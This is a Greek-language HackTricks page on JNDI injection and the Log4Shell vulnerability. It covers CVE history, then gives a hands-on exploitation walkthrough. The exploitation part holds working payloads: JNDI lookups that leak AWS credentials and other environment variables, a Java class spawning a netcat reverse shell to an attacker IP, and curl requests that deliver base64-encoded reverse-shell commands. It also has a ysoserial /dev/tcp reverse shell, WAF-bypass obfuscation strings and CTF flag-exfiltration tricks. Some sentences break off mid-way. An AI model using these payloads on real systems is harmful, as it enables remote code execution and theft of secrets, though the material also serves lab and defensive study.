JNDI - Java Naming and Directory Interface & Log4Shell

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Try Hard Security Group


Βασικές Πληροφορίες

Το JNDI, ενσωματωμένο στην Java από τα τέλη της δεκαετίας του 1990, λειτουργεί ως υπηρεσία καταλόγου, επιτρέποντας σε προγράμματα Java να εντοπίζουν δεδομένα ή αντικείμενα μέσω ενός συστήματος ονοματολογίας. Υποστηρίζει διάφορες υπηρεσίες καταλόγου μέσω διεπαφών παροχέα υπηρεσιών (SPIs), επιτρέποντας την ανάκτηση δεδομένων από διαφορετικά συστήματα, συμπεριλαμβανομένων απομακρυσμένων αντικειμένων Java. Οι κοινές SPIs περιλαμβάνουν το CORBA COS, το Μητρώο Java RMI και το LDAP.

Αναφορά Ονοματολογίας JNDI

Τα αντικείμενα Java μπορούν να αποθηκευτούν και ανακτηθούν χρησιμοποιώντας Αναφορές Ονοματολογίας JNDI, οι οποίες έχουν δύο μορφές:

  • Διευθύνσεις Αναφοράς: Καθορίζουν την τοποθεσία ενός αντικειμένου (π.χ., rmi://server/ref), επιτρέποντας την άμεση ανάκτηση από την καθορισμένη διεύθυνση.

  • Απομακρυσμένο Εργοστάσιο: Αναφέρεται σε μια απομακρυσμένη κλάση εργοστασίου. Όταν προσπελαστεί, η κλάση λήψης και εκτέλεσης από την απομακρυσμένη τοποθεσία.

Ωστόσο, αυτός ο μηχανισμός μπορεί να εκμεταλλευτεί, με δυνητική εκτέλεση και φόρτωση αυθαίρετου κώδικα. Ως αντίμετρο:

  • RMI: java.rmi.server.useCodeabseOnly = true από προεπιλογή από JDK 7u21, περιορίζοντας τη φόρτωση απομακρυσμένων αντικειμένων. Ένας Διαχειριστής Ασφαλείας περιορίζει περαιτέρω τι μπορεί να φορτωθεί.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false από προεπιλογή από JDK 6u141, 7u131, 8u121, αποκλείοντας την εκτέλεση απομακρυσμένων αντικειμένων Java. Εάν οριστεί σε true, η απομακρυσμένη εκτέλεση κώδικα είναι δυνατή χωρίς επίβλεψη Διαχειριστή Ασφαλείας.

  • CORBA: Δεν έχει συγκεκριμένη ιδιότητα, αλλά ο Διαχειριστής Ασφαλείας είναι πάντα ενεργός.

Ωστόσο, ο Διαχειριστής Ονοματολογίας, υπεύθυνος για την επίλυση των συνδέσεων JNDI, δεν διαθέτει ενσωματωμένα μηχανισμούς ασφαλείας, με τη δυνατότητα ανάκτησης αντικειμένων από οποιαδήποτε πηγή. Αυτό αποτελεί κίνδυνο καθώς οι προστασίες RMI, LDAP και CORBA μπορούν να παρακαμφθούν, οδηγώντας στη φόρτωση αυθαίρετων αντικειμένων Java ή στην εκμετάλλευση υπαρχόντων συστατικών εφαρμογής (gadgets) για την εκτέλεση κακόβουλου κώδικα.

Παραδείγματα εκμετάλλευσης διευθύνσεων URL περιλαμβάνουν:

  • rmi://attacker-server/bar

  • ldap://attacker-server/bar

  • iiop://attacker-server/bar

Παρά τις προστασίες, παραμένουν ευπάθειες, κυρίως λόγω της έλλειψης προστασίας κατά τη φόρτωση JNDI από μη αξιόπιστες πηγές και τη δυνατότητα παράκαμψης υπαρχουσών προστασιών.

Παράδειγμα JNDI

Ακόμα κι αν έχετε ορίσει ένα PROVIDER_URL, μπορείτε να υποδείξετε ένα διαφορετικό σε μια αναζήτηση και θα προσπελαστεί: ctx.lookup("<attacker-controlled-url>") και αυτό είναι αυτό που ένας επιτιθέμενος θα εκμεταλλευτεί για να φορτώσει αυθαίρετα αντικείμενα από ένα σύστημα που ελέγχει.

Επισκόπηση CORBA

Το CORBA (Common Object Request Broker Architecture) χρησιμοποιεί ένα Interoperable Object Reference (IOR) για τη μοναδική ταυτοποίηση απομακρυσμένων αντικειμένων. Αυτή η αναφορά περιλαμβάνει βασικές πληροφορίες όπως:

  • Ταυτότητα Τύπου: Μοναδικός αναγνωριστικός για μια διεπαφή.

  • Βάση Κώδικα: URL για την απόκτηση της κλάσης stub.

Είναι σημαντικό να σημειωθεί ότι το CORBA δεν είναι ευάλωτο από μόνο του. Η διασφάλιση της ασφάλειας συνήθως περιλαμβάνει:

  • Εγκατάσταση ενός Διαχειριστή Ασφαλείας.

  • Ρύθμιση του Διαχειριστή Ασφαλείας για να επιτρέπει συνδέσεις σε πιθανώς κακόβουλες βάσεις κώδικα. Αυτό μπορεί να επιτευχθεί μέσω:

  • Άδειας Socket, π.χ., permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Άδειας ανάγνωσης αρχείων, είτε καθολικά (permission java.io.FilePermission "<<ALL FILES>>", "read";) είτε για συγκεκριμένους καταλόγους όπου ενδέχεται να τοποθετηθούν κακόβουλα αρχεία.

Ωστόσο, ορισμένες πολιτικές προμηθευτών ενδέχεται να είναι επιεικείς και να επιτρέπουν αυτές τις συνδέσεις από προεπιλογή.

Περιβάλλον RMI

Για το RMI (Remote Method Invocation), η κατάσταση είναι κάπως διαφορετική. Όπως και με το CORBA, η φόρτωση αυθαίρετων κλάσεων περιορίζεται από προεπιλογή. Για να εκμεταλλευτεί κανείς το RMI, συνήθως θα χρειαστεί να παρακάμψει τον Διαχειριστή Ασφαλείας, μια επιτυχία που είναι επίσης σημαντική στο CORBA.

LDAP

Καταρχάς, πρέπει να διακρίνουμε μεταξύ Αναζήτησης και Αναζήτησης. Μια αναζήτηση θα χρησιμοποιήσε

Επισκόπηση των CVEs που σχετίζονται με το Log4Shell

CVE-2021-44228 [Κρίσιμο]

Αυτή η ευπάθεια είναι ένα κρίσιμο σφάλμα μη αξιόπιστης απεικονιοποίησης στο στοιχείο log4j-core, επηρεάζοντας εκδόσεις από 2.0-beta9 έως 2.14.1. Επιτρέπει την εκτέλεση κώδικα από απόσταση (RCE), επιτρέποντας στους επιτιθέμενους να αναλάβουν τα συστήματα. Το πρόβλημα αναφέρθηκε από τον Chen Zhaojun από την Ομάδα Ασφαλείας του Alibaba Cloud και επηρεάζει διάφορα πλαισία Apache. Η αρχική διόρθωση στην έκδοση 2.15.0 ήταν ανεπαρκής. Οι κανόνες Sigma για την άμυνα είναι διαθέσιμοι (Κανόνας 1, Κανόνας 2).

CVE-2021-45046 [Κρίσιμο]

Αρχικά ταξινομημένο ως χαμηλού κινδύνου αλλά αργότερα αναβαθμίστηκε σε κρίσιμο, αυτό το CVE είναι ένα σφάλμα Άρνησης Υπηρεσίας (DoS) που προκύπτει από μια ανεπαρκή διόρθωση στην έκδοση 2.15.0 για το CVE-2021-44228. Επηρεάζει μη προεπιλεγμένες ρυθμίσεις, επιτρέποντας στους επιτιθέμενους να προκαλέσουν επιθέσεις DoS μέσω προσεκτικών φορτίων. Ένα tweet παρουσιάζει έναν τρόπο παράκαμψης. Το πρόβλημα επιλύεται στις εκδόσεις 2.16.0 και 2.12.2 με την αφαίρεση μοτίβων αναζήτησης μηνυμάτων και την απενεργοποίηση του JNDI από προεπιλογή.

CVE-2021-4104 [Υψηλό]

Επηρεάζοντας τις εκδόσεις Log4j 1.x σε μη προεπιλεγμένες ρυθμίσεις χρησιμοποιώντας το JMSAppender, αυτό το CVE είναι ένα σφάλμα μη αξιόπιστης απεικονιοποίησης. Δεν υπάρχει διόρθωση διαθέσιμη για το κλαδί 1.x, το οποίο έχει φτάσει στο τέλος της ζωής του, και συνιστάται η αναβάθμιση στο log4j-core 2.17.0.

CVE-2021-42550 [Μέτριο]

Αυτή η ευπάθεια επηρεάζει το πλαίσιο καταγραφής Logback, ένα διάδοχο του Log4j 1.x. Προηγουμένως θεωρείτο ασφαλές, το πλαίσιο βρέθηκε ευάλωτο και έχουν κυκλοφορήσει νεότερες εκδόσεις (1.3.0-alpha11 και 1.2.9) για να αντιμετωπίσουν το πρόβλημα.

CVE-2021-45105 [Υψηλό]

Το Log4j 2.16.0 περιέχει ένα σφάλμα DoS, που οδήγησε στην έκδοση του log4j 2.17.0 για τη διόρθωση του CVE. Περισσότερες λεπτομέρειες υπάρχουν στην αναφορά του BleepingComputer εδώ.

Επηρεάζοντας την έκδοση log4j 2.17, αυτό το CVE απαιτεί από τον επιτιθέμενο να ελέγχει το αρχείο ρυθμίσεων του log4j. Περιλαμβάνει πιθανή εκτέλεση αυθαίρετου κώδικα μέσω ενός ρυθμισμένου JDBCAppender. Περισσότερες λεπτομέρειες είναι διαθέσιμες στην ανάρτηση ιστολογίου της Checkmarx.

Εκμετάλλευση του Log4Shell

Ανακάλυψη

Αυτή η ευπάθεια είναι πολύ εύκολη να ανακαλυφθεί αν δεν προστατεύεται, επειδή θα στείλει τουλάχιστον μια αίτηση DNS στη διεύθυνση που υποδεικνύετε στο φορτίο σας. Συνεπώς, φορτία όπως:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (χρησιμοποιώντας το canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (χρησιμοποιώντας το interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (χρησιμοποιώντας το Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (χρησιμοποιώντας το dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} χρησιμοποιώντας (χρησιμοποιώντας το huntress)

Σημειώστε ότι ακόμα κι αν ληφθεί μια αίτηση DNS αυτό δεν σημαίνει ότι η εφαρμογή είναι εκτεθειμένη (ή ακόμα και ευάλωτη), θα πρέπει να προσπαθήσετε να την εκμεταλλευτείτε.

Να θυμάστε ότι για να εκμεταλλευτείτε την έκδοση 2.15 πρέπει να προσθέσετε την παράκαμψη ελέγχου τοπικού υπολογιστή: ${jndi:ldap://127.0.0.1#...}

Τοπική Ανακάλυψη

Αναζητήστε τοπικές ευάλωτες εκδόσεις της βιβλιοθήκης με:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Επαλήθευση

Κάποιες από τις πλατφόρμες που αναφέρθηκαν προηγουμένως θα σας επιτρέψουν να εισάγετε μερικά μεταβλητά δεδομένα που θα καταγραφούν όταν ζητηθούν. Αυτό μπορεί να είναι πολύ χρήσιμο για 2 πράγματα:

  • Για την επαλήθευση της ευπάθειας

  • Για την εξαγωγή πληροφοριών καταχρώντας την ευπάθεια

Για παράδειγμα, θα μπορούσατε να ζητήσετε κάτι σαν: ή σαν ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} και αν ληφθεί μια αίτηση DNS με την τιμή της μεταβλητής περιβάλλοντος, τότε γνωρίζετε ότι η εφαρμογή είναι ευάλωτη.

Άλλες πληροφορίες που θα μπορούσατε να προσπαθήσετε να διαρρεύσετε:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Πληροφορίες RCE

Οι υπολογιστές που εκτελούνται σε εκδόσεις JDK πάνω από 6u141, 7u131 ή 8u121 προστατεύονται από το διάνυσμα επίθεσης φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του com.sun.jndi.ldap.object.trustURLCodebase, το οποίο εμποδίζει το JNDI από το να φορτώσει έναν απομακρυσμένο κωδικό βάσης μέσω LDAP. Ωστόσο, είναι σημαντικό να σημειωθεί ότι αυτές οι εκδόσεις δεν προστατεύονται ενάντια στο διάνυσμα επίθεσης αποσειριοποίησης.

Για τους επιτιθέμενους που στοχεύουν στην εκμετάλλευση αυτών των υψηλότερων εκδόσεων JDK, είναι απαραίτητο να χρησιμοποιήσουν ένα αξιόπιστο gadget μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να ρυθμιστούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.

Για περισσότερες πληροφορίες (όπως περιορισμοί στα διανύσματα RMI και CORBA) ελέγξτε την προηγούμενη ενότητα αναφοράς ονομασίας JNDI ή https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec με προσαρμοσμένο φορτίο

Μπορείτε να δοκιμάσετε αυτό στο κουτί THM: https://tryhackme.com/room/solar

Χρησιμοποιήστε το εργαλείο marshalsec (διαθέσιμη η έκδοση jar εδώ). Αυτή η προσέγγιση δημιουργεί έναν διακλάδωση LDAP για την ανακατεύθυνση συνδέσεων σε ένα δευτερεύον HTTP διακομιστή όπου θα φιλοξενείται η εκμετάλλευση:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Για να προτρέψετε τον στόχο να φορτώσει κώδικα αντιστρεπτικού κελύφους, δημιουργήστε ένα αρχείο Java με το όνομα Exploit.java με το παρακάτω περιεχόμενο:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Μεταγλωττίστε το αρχείο Java σε ένα αρχείο κλάσης χρησιμοποιώντας: javac Exploit.java -source 8 -target 8. Στη συνέχεια, εκκινήστε ένα HTTP server στον κατάλογο που περιέχει το αρχείο κλάσης με: python3 -m http.server. Βεβαιωθείτε ότι ο marshalsec LDAP server αναφέρεται σε αυτόν τον HTTP server.

Ενεργοποιήστε την εκτέλεση της κλάσης εκμετάλλευσης στο ευάλωτο web server αποστέλλοντας ένα φορτίο που μοιάζει με:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Σημείωση: Αυτή η εκμετάλλευση βασίζεται στη ρύθμιση της Java που επιτρέπει τη μακρινή φόρτωση κώδικα μέσω του LDAP. Εάν αυτό δεν επιτρέπεται, σκεφτείτε την εκμετάλλευση ενός αξιόπιστου τάξης για αυθαίρετη εκτέλεση κώδικα.

RCE - JNDIExploit

Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα χρησιμοποιήστε ένα διαφορετικό τρόπο για να εκμεταλλευτείτε αυτήν την ευπάθεια.

Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στο wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε.

Για αυτό το παράδειγμα μπορείτε απλά να εκτελέσετε αυτόν τον ευπάθεια web server για το log4shell στη θύρα 8080: https://github.com/christophetd/log4shell-vulnerable-app (στο README θα βρείτε πώς να το εκτελέσετε). Αυτή η ευπάθεια εφαρμογή καταγράφει με μια ευπάθεια έκδοση του log4shell το περιεχόμενο της κεφαλίδας αιτήματος HTTP X-Api-Version.

Στη συνέχεια, μπορείτε να κατεβάσετε το αρχείο JNDIExploit jar και να το εκτελέσετε με:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Μετά την ανάγνωση του κώδικα μόλις λίγα λεπτά, στο com.feihong.ldap.LdapServer και com.feihong.ldap.HTTPServer μπορείτε να δείτε πώς δημιουργούνται οι διακομιστές LDAP και HTTP. Ο διακομιστής LDAP θα καταλάβει ποιο φορτίο πρέπει να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση. Στο com.feihong.ldap.gadgets μπορείτε να βρείτε κάποιες συγκεκριμένες συσκευές που μπορούν να χρησιμοποιηθούν για να εκτελεστεί η επιθυμητή ενέργεια (ενδεχομένως να εκτελεστεί αυθαίρετος κώδικας). Και στο com.feihong.ldap.template μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα δημιουργήσουν τις εκμεταλλεύσεις.

Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Κάποιες χρήσιμες είναι:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Έτσι, στο παράδειγμά μας, έχουμε ήδη την ευάλωτη εφαρμογή docker που τρέχει. Για να την επιτεθούμε:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Όταν στέλνετε τις επιθέσεις, θα δείτε κάποια αποτελέσματα στο τερματικό όπου εκτελέστηκε το JNDIExploit-1.2-SNAPSHOT.jar.

Να θυμάστε να ελέγχετε java -jar JNDIExploit-1.2-SNAPSHOT.jar -u για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειάζεστε, μπορείτε να αλλάξετε τη θύρα των διακομιστών LDAP και HTTP.

RCE - JNDI-Exploit-Kit

Με έναν παρόμοιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε το JNDI-Exploit-Kit για να εκμεταλλευτείτε αυτήν την ευπάθεια. Μπορείτε να δημιουργήσετε τα URLs προς αποστολή στο θύμα εκτελώντας:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο δημιουργημένο αντικείμενο Java θα λειτουργήσει σε εργαστήρια όπως το THM solar room. Ωστόσο, αυτό συνήθως δεν λειτουργεί (καθώς από προεπιλογή το Java δεν είναι ρυθμισμένο να φορτώνει απομακρυσμένη βάση κώδικα χρησιμοποιώντας LDAP) νομίζω επειδή δεν εκμεταλλεύεται ένα αξιόπιστη κλάση για να εκτελέσει αυθαίρετο κώδικα.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus είναι ένα άλλο εργαλείο για τη δημιουργία λειτουργικών συνδέσεων JNDI και παρέχει υπηρεσίες φόντου ξεκινώντας RMI server, LDAP server και HTTP server.\

RCE - ysoserial & JNDI-Exploit-Kit

Αυτή η επιλογή είναι πραγματικά χρήσιμη για επιθέσεις σε εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους. Επομένως, το ysoserial θα χρησιμοποιηθεί για τη δημιουργία σειριοποιήσεων αξιόπιστων κλάσεων που μπορούν να χρησιμοποιηθούν ως gadgets για την εκτέλεση αυθαίρετου κώδικα (η αξιόπιστη κλάση που καταχράται το ysoserial πρέπει να χρησιμοποιηθεί από το πρόγραμμα Java θύματος για να λειτουργήσει η εκμετάλλευση).

Χρησιμοποιώντας το ysoserial ή το ysoserial-modified μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα ληφθεί μέσω JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Χρησιμοποιήστε το JNDI-Exploit-Kit για να δημιουργήσετε JNDI συνδέσμους όπου το exploit θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να εξυπηρετήσετε διαφορετικά exploits που μπορούν να δημιουργηθούν αυτόματα από το JNDI-Exploit-Kit ή ακόμα και τα δικά σας payloads αποσειροποίησης (που έχουν δημιουργηθεί από εσάς ή το ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Τώρα μπορείτε εύκολα να χρησιμοποιήσετε ένα δημιουργημένο σύνδεσμο JNDI για να εκμεταλλευτείτε την ευπάθεια και να λάβετε ένα αντίστροφο κέλυφος απλά στέλνοντας σε μια ευάθροιστη έκδοση του log4j: ${ldap://10.10.14.10:1389/generated}

Παρακάμψεις

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Αυτόματοι Σαρωτές

Εργαστήρια για Δοκιμή

Μετά την Εκμετάλλευση του Log4Shell

Σε αυτό το CTF writeup εξηγείται καλά πώς είναι πιθανό να καταχραστείτε κάποιες λειτουργίες του Log4J.

Η σελίδα ασφαλείας του Log4j περιέχει μερικές ενδιαφέρουσες προτάσεις:

Από την έκδοση 2.16.0 (για Java 8), η λειτουργία αναζήτησης μηνυμάτων έχει αφαιρεθεί πλήρως. Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει πλέον να ενεργοποιούνται ρητά.

Από την έκδοση 2.17.0, (και 2.12.3 και 2.3.1 για Java 7 και Java 6), μόνο οι συμβολοσειρές αναζήτησης στη διαμόρφωση επεκτείνονται αναδρομικά· σε οποιαδήποτε άλλη χρήση, επιλύεται μόνο η αναζήτηση στο επίπεδο κορυφής, και οι οποιεσδήποτε ενσωματωμένες αναζητήσεις δεν επιλύονται.

Αυτό σημαίνει ότι από προεπιλογή μπορείτε να ξεχάσετε τη χρήση οποιασδήποτε εκμετάλλευσης jndi. Επιπλέον, για να εκτελέσετε αναδρομικές αναζητήσεις πρέπει να τις έχετε διαμορφώσει.

Για παράδειγμα, σε αυτό το CTF αυτό ήταν διαμορφωμένο στο αρχείο log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Αναζητήσεις Περιβάλλοντος

Σε αυτό το CTF, ο επιτιθέμενος ελέγχει την τιμή του ${sys:cmd} και χρειαζόταν να εξαγάγει τη σημαία από μια μεταβλητή περιβάλλοντος. Όπως φαίνεται σε αυτήν τη σελίδα στα προηγούμενα payloads υπάρχουν διάφοροι τρόποι πρόσβασης σε μεταβλητές περιβάλλοντος, όπως: ${env:FLAG}. Σε αυτό το CTF αυτό ήταν άχρηστο, αλλά μπορεί να μην είναι σε άλλα πραγματικά σενάρια.

Εξαγωγή μέσω Εξαιρέσεων

Στο CTF, δεν μπορούσατε να έχετε πρόσβαση στο stderr της εφαρμογής Java χρησιμοποιώντας το log4J, αλλά οι εξαιρέσεις του Log4J στέλνονται στο stdout, το οποίο εκτυπώνεται στην εφαρμογή Python. Αυτό σήμαινε ότι εκτυπώνοντας μια εξαίρεση μπορούσαμε να έχουμε πρόσβαση στο περιεχόμενο. Μια εξαίρεση για την εξαγωγή της σημαίας ήταν: ${java:${env:FLAG}}. Αυτό λειτουργεί επειδή ${java:CTF{blahblah}} δεν υπάρχει και μια εξαίρεση με την τιμή της σημαίας θα εμφανιστεί:

Εξαιρέσεις Προτύπων Μετατροπής

Απλά για να το αναφέρουμε, θα μπορούσατε επίσης να ενθέτετε νέα πρότυπα μετατροπής και να προκαλείτε εξαιρέσεις που θα καταγράφονται στο stdout. Για παράδειγμα:

Αυτό δεν βρέθηκε χρήσιμο για την εξαγωγή ημερομηνίας μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν το πρότυπο μετατροπής, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα, όπως η ανίχνευση.

Πρότυπα Μετατροπής Με Χρήση Κανονισμών Regex

Ωστόσο, είναι δυνατόν να χρησιμοποιηθούν ορισμένα πρότυπα μετατροπής που υποστηρίζουν regexes για την εξαγωγή πληροφοριών από μια αναζήτηση χρησιμοποιώντας regexes και καταχρώντας δυαδική αναζήτηση ή συμπεριφορές βασισμένες στον χρόνο.

  • Δυαδική αναζήτηση μέσω μηνυμάτων εξαιρέσεων

Το πρότυπο μετατροπής %replace μπορεί να χρησιμοποιηθεί για να αντικαταστήσει περιεχόμενο από ένα συμβολοσειρά ακόμα και χρησιμοποιώντας regexes. Λειτουργεί ως εξής: replace{pattern}{regex}{substitution} Καταχρώντας αυτήν τη συμπεριφορά μπορείτε να κάνετε την αντικατάσταση να προκαλέσει μια εξαίρεση αν το regex ταιριάζει με οτιδήποτε μέσα στη συμβολοσειρά (και χωρίς εξαίρεση αν δεν βρεθεί) όπως αυτό:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Βασισμένο στον χρόνο

Όπως αναφέρθηκε στην προηγούμενη ενότητα, το %replace υποστηρίζει regexes. Έτσι είναι δυνατόν να χρησιμοποιηθεί φορτίο από τη σελίδα ReDoS για να προκαλέσει timeout σε περίπτωση που βρεθεί η σημαία. Για παράδειγμα, ένα φορτίο όπως %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} θα ενεργοποιούσε ένα timeout σε αυτό το CTF.

Σε αυτό το writeup, αντί να χρησιμοποιηθεί επίθεση ReDoS, χρησιμοποιήθηκε μια επίθεση ενίσχυσης για να προκαλέσει διαφορά χρόνου στην απόκριση:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Αν η σημαία ξεκινά με flagGuess, ολόκληρη η σημαία αντικαθίσταται με 29 # (χρησιμοποίησα αυτό το χαρακτήρα επειδή πιθανότατα δεν θα αποτελεί μέρος της σημαίας). Κάθε ένα από τα 29 # που προκύπτουν αντικαθίσταται με 54 #. Αυτή η διαδικασία επαναλαμβάνεται 6 φορές, οδηγώντας σε συνολικά 29*54*54^6* =`` ``96816014208 #!

Η αντικατάσταση τόσων # θα ενεργοποιήσει το timeout 10 δευτερολέπτων της εφαρμογής Flask, με αποτέλεσμα να σταλεί ο κωδικός κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν ξεκινά με flagGuess, θα λάβουμε έναν μη-500 κωδικό κατάστασης)

Αναφορές

Try Hard Security Group

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated